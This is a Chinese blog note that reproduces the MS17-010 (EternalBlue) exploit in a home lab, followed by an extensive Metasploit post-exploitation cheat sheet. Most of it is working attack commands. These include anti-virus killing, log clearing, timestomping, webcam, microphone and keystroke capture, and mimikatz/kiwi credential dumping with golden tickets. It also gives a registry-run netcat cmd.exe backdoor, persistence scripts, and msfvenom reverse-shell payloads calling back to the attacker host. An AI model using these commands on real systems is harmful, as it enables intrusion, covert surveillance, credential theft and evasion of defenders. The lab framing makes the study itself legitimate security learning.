0%

MS17-010复现-部分后渗透指令

对永恒之蓝漏洞的一个复现

不适合人类阅读,非常水的自我笔记

靶机难度:十分简单

  • 靶机:
    Windows Server 2008

192.168.1.84

  • 攻击机:
    Kali 2019.04
    192.168.1.83

情报收集

先扫描当前网段存活的主机,可以使用nmap,也可以使用netdiscover,arp-scan等工具。

nmap

nmap -sn -PR 192.168.1.0/24

使用此命令会使用nmap的arp ping扫描模式来发现存活主机
官方解释

最常见的Nmap使用场景之一是扫描一个以太局域网。 在大部分局域网上,特别是那些使用基于 RFC1918私有地址范围的网络,在一个给定的时间绝大部分 IP地址都是不使用的。 当Nmap试图发送一个原始IP报文如ICMP回声请求时, 操作系统必须确定对应于目标IP的硬件 地址(ARP),这样它才能把以太帧送往正确的地址。 这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内 对没有运行的机器作几百万次的ARP请求。
当进行ARP扫描时,Nmap用它优化的算法管理ARP请求。 当它收到响应时, Nmap甚至不需要担心基于IP的ping报文,既然它已经知道该主机正在运行了。 这使得ARP扫描比基于IP的扫描更快更可靠。 所以默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。 即使指定了不同的ping类型(如 -PI或者 -PS) ,Nmap也会对任何相同局域网上的目标机使用ARP。 如果您真的不想要ARP扫描,指定 –send-ip。
nmap -sP 192.168.1.0/24
你也可以使用这条命令,在特权用户下,会默认发送ARP包探测。

arp-scan

arp-scan –interface=eth1 –localnet

arp_scan

探测主机服务

探测主机开放来什么端口以及服务

nmap -sS -A -sV -T4 192.168.1.aa

nmap_scan_report

发现是Windows系统,并发现开发了445端口,可以尝试是否可以利用ms17_010漏洞。

漏洞利用

可以先使用auxiliary/scanner/smb/smb_ms17_010模块来看主机是否合适使用ms17漏洞

exp
使用辅助模块扫描

可以看到以下语句的结果出现,说明该主机很容易受到ms17_010漏洞的攻击。

[+] 192.168.1.84:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)

exp-1
设置参数并进行攻击
默认的payload是默认反弹到cmdshell,所以可以设置payload反弹到meterpreter以便后续的渗透。

参数说明

  • rhosts 目标IP
  • lhost 攻击机的ip
  • port 端口

出现meterpreter的shell之后,就说明我们的攻击成功来,接下来就要进行设置后门,维持权限等操作了。

拿到cmd shell后乱码

1
chcp 65001

后渗透

进程转移

可以在meterpreter中使用migrate进行手动转移

1
2
3
meterpreter > migrate 1904
[*] Migrating from 1160 to 1904...
[*] Migration completed successfully.

也可以使用run post/windows/manage/migrate进行自动转移

1
2
3
4
5
6
7
meterpreter > run post/windows/manage/migrate

[*] Running module against WIN-L7LB8P6KDBM
[*] Current server process: Dwm.exe (1904)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2636
[+] Successfully migrated to process 2636

系统命令

1
2
3
4
5
6
7
8
9
10
11
12
sysinfo  #查看系统信息
getuid #当前用户
getpid #当前进程ID
ps #所有进程
shell #进入目标机的shell
sessions #查看已经成功获取的会话
sessions -i <id> #进入会话 -h 帮助 -k 杀死会话
backgroup #将当前会话放置到后台
info #查看模块信息
run #执行已有的模块
idletiome #查看目标机器闲置时间
reboot & shutdown #重启 关机

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
getwd & pwd #查看当前目录
ls & dir #列出当前目录的文件
cd #切换目录
search -f *.txt -d c:\ #搜索在C驱动器的文件类型为txt的文件
cat #查看文件内容
upload #上传本地文件到目标
download #下载目标文件到本地
edit #编辑文件
rm #删除文件
mkdir #创建目录
rmdir #删除目录
getlwd & lpwd #查看攻击机本地目录
lcd #切换攻击机本地目录

执行文件

1
2
execute #在目标机中执行文件
execute -H -i -f cmd.exe #创建新进程cmd.exe -H 不可见 -i 可交互

清除日志

1
clearev/clearav #现在是claerev 不过以前的版本好像是clearav

timestomp 伪造时间

1
2
3
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看2.txt的时间戳
timestomp C://2.txt -f C://1.txt #将2的时间戳复制给1.txt

基本网络命令

1
2
3
4
5
ipconfig/ifconfig
netstat -ano #查看端口
arp #查看arp缓存表
getproxy #查看代理信息
route #查看路由

添加代理

先添加路由映射.

1
2
run post/multi/manage/autoroute
run autoroute -s 192.168.56.0/24

然后使用 socks4a 模块

1
use auxiliary/server/socks4a

配置好后,直接run.之后就在kali中设置代理127.0.0.1 1080.

端口转发

除了用portfwd外同样也可以使用enable_edpgetgui实际上enable_rdp的添加端口,就是使用了portfwd

1
2
3
run portfwd add -l 8888 -p 3389 -r 127.0.0.1 #将目标的3389转发到本地的8888端口
run getgui -f 6662 -e #端口转发
run post/windows/manage/enable_rdp FORWARD=true LPORT=6666 #端口转发

autoroute添加路由

1
2
3
run autoroute -h #查看帮助
run autoroute -s 192.168.56.0/24 #添加到目标环境网络
run autoroute -p #查看添加的路由

autoroute已经是旧的命令了,新版msf已经建议使用

1
run post/multi/manage/autoroute  # 添加路由转发

然后可以利用arp_scanner,portscan等进行扫描

1
2
run post/windows/gather/arp_scanner rhosts=192.168.56.0/24
run auxiliary/scanner/portscan/tcp rhosts=192.168.56.102 ports=22

提权

local_exploit_suggester

1
run post/multi/recon/local_exploit_suggester

getsystem

getsystem工作原理:

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

bypassuac

运行后返回一个新的会话,再用getsystem提权

1
2
3
4
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

内核漏洞提权

先使用run post/windows/gather/enum_patches #查看补丁信息然后看缺少哪个补丁,就利用那个补丁的漏洞进行攻击

信息收集

1
2
3
4
5
6
7
8
9
10
11
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/gather/enum_logged_on_users #查看当前多少活跃用户
run post/windows/gather/smart_hashdump #获取系统hash值 需要使用system权限

scraper

这个脚本会收集目标机器上的常见信息,然后将它们下载保存在本地。这个脚本还可以加入自定义的命令。
只需执行run scraper即可运行脚本。
/.msf4/logs/下保存了所有脚本需要保存的日志记录,当然不只这一个脚本。同样.msf4文件夹下还保存了其他东西,比如输入过的命令,msf运行过程的日志等。 Scraper脚本将保存结果在/.msf4/logs/scripts/scraper/下。

查看目标主机是否是虚拟机

1
run post/windows/gather/checkvm
1
2
3
4
meterpreter > run post/windows/gather/checkvm

[*] Checking if WIN-L7LB8P6KDBM is a Virtual Machine .....
[+] This is a Sun VirtualBox Virtual Machine

关闭杀软

1
run post/windows/manage/killav

关闭防火墙(Cmd命令)

1
netsh advfirewall set allprofiles state off

开启3389

开启远程端口并创建用户可以使用getgui或者是enable_rdp这两个其中一个脚本,但是建议使用enable_rdp,因为使用getgui有时候虽然提示是创建用户成功,但是却是无法登录的。

enable_rdp
1
2
3
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=!QAZ2wsx#EDC #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6666 #端口转发
getgui
1
2
3
4
run getgui -h查看帮助
run getgui -e 开启远程桌面
run getgui -u test -p !QAZ2wsx#EDC #添加用户
run getgui -f 6662 -e #端口转发

截图 && 截屏

  • screenshot
  • load espia #加载插件 screengrab #截图
  • run vnc # 使用vnc远程桌面连接偷窥
  • enumdesktops #查看可用的桌面
  • getdesktop #获取与当前会话关联的桌面
  • set_desktop #设置与当前会话关联的桌面

开启摄像头

1
2
3
4
webcam_list #列出目标机器的摄像头列表
webcam_snap #打开目标机器摄像头拍摄一张照片
webcam_stream #打开目标机器摄像头并开启直播
record_mic #音频录制

键盘记录keyscan

1
2
3
keyscan_start #开启记录
keyscan_dump #输出截获到的输入记录
keyscan_stop #停止键盘记录

这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。
会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。
可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。

1
run post/windows/capture/keylog_recorder

这也时获取键盘记录的命令,与keyscan不同的是,这个命令记录之后会同时保存到攻击者主机.msf4/loot/目录下

mimikatz/kiwi获取密码

Windows10 和 Windows 2019更新了SAM的格式,所以一些旧工具是无法DUMP出这两个系统的HASH值。建议用mimikatz。

Mimikatz使用大全
神器mimikatz使用命令方法总结
几种windows本地hash值获取和破解详解
Windows用户密码的加密方法与破解

1
2
3
4
load mimikatz #加载模块
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords #同样也是获取密码

mimikatz也有exe版本的,下载地址

控制台获取hash

1
2
privilege::debug # 权限提升
lsadump::lsa /patch # 获取hash
1
2
3
直接cmd运行
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" exit
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit

新版是kiwi了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
load kiwi #加载模块

creds_all Retrieve all credentials (parsed) #直接用就能从内存中抓取明文密码。
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)

Golden-Ticket

minikatz

在mimikatz的控制台输入

1
2
3
4
5
6
7
8
9
privilege::debug # 获取权限

lsadump::lsa /inject /name:krbtgt # 获取信息(关注 SID,NTLM。后面会用到

kerberos::golden /user:Administrator /domain:domain.local /sid:krbtgt的sid /krbtgt:krbtgt的NTLM /id:Administrator的RID

misc::cmd # 打开一个cmd

之后就可以在那里访问域中的其他机器了

sniffer抓包

1
2
3
4
5
6
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包

注册表操作

1
2
3
4
5
6
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值

nc -v 192.168.159.144 443 #攻击者连接nc后门

令牌操纵

incognito假冒令牌

1
2
3
4
5
6
7
use incognito      #help incognito  查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token

steal_token 窃取令牌

1
2
steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token #删除窃取的token

后门植入

persistence

persistence是生成一个vbs脚本,并写入到注册表里。
帮助目录

1
2
3
4
5
6
7
8
9
10
11
12
13
OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to the agent 自动启动一个匹配
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. 设置payload
-S Automatically start the agent on boot as a service (with SYSTEM privileges) 系统启动时加载
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on 用户登录时启动
-X Automatically start the agent when the system boots 系统开机时启动
-h This help menu
-i <opt> The interval in seconds between each connection attempt 反向连接的时间间隔
-p <opt> The port on which the system running Metasploit is listening 攻击机监听的端口
-r <opt> The IP of the system running Metasploit listening for the connect back 攻击者的IP
1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > run persistence -A -X -S -U -i 2 -p 6660 -r 192.168.2.2 -P windows/meterpreter/bind_tcp

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-L7LB8P6KDBM_20191210.2300/WIN-L7LB8P6KDBM_20191210.2300.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.83 LPORT=6660
[*] Persistent agent script is 99613 bytes long
[+] Persistent Script written to C:\Users\ADMINI~1\AppData\Local\Temp\1\gqePMVuqNBvev.vbs
[*] Executing script C:\Users\ADMINI~1\AppData\Local\Temp\1\gqePMVuqNBvev.vbs
[+] Agent executed with PID 5012
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IwoxhlDkIPJSZa
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IwoxhlDkIPJSZa

根据输出信息,可以在靶机中找到相对应的注册表
regedit

连接persistence后门
1
2
3
4
5
msf5 exploit(multi/handler) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.83
msf5 exploit(multi/handler) > set lport 6660
msf5 exploit(multi/handler) > run

persistence

metsvc后门

1
2
search metsvc
use exploit/windows/local/persistence_service
连接metsvc后门
1
2
3
4
5
msf5 exploit(multi/handler) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/metsvc_bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.1.84
msf5 exploit(multi/handler) > set lport 31337
msf5 exploit(multi/handler) > run

con_metsvc

msfvenom

生成windows下的反弹木马

1
2
3
4
5
6
7
8
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.83 lport=1111 -f exe -o a.exe
#上传到靶机并执行
meterpreter > upload ./a.exe
[*] uploading : ./a.exe -> a.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): ./a.exe -> a.exe
[*] uploaded : ./a.exe -> a.exe
meterpreter > execute -f a.exe
Process 1892 created.
连接后门

msfconsole中,使用exploit/multi/handler,设置的payload要与生成的木马的payload设置一样.

1
2
3
4
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.83
msf5 exploit(multi/handler) > set lport 1111
msf5 exploit(multi/handler) > run

msfvenom

注意:当退出此会话时,木马的进程同时也会关闭.

MSF取得的会话派生到CS

  1. 先在CS中新建一个http的监听
  2. 在msf中使用这个模块:exploit/windows/local/payload_inject
  3. 设置payload为http的监听: windows/meterpreter/reverse_http
  4. 关闭DisablePayloadHandler:set DisablePayloadHandler true
  5. 设置会话和本地监听后运行即可
  6. 回到cs中可以看到已经获得shell了

参考